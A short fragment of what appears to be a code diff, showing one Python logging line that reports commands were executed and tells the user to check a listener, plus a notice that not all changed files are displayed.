self.context.log.display("Commands executed successfully, check the listener for results")
Loaded 100 of 221 files, more files were not shown because too many files have changed in this diff. Show more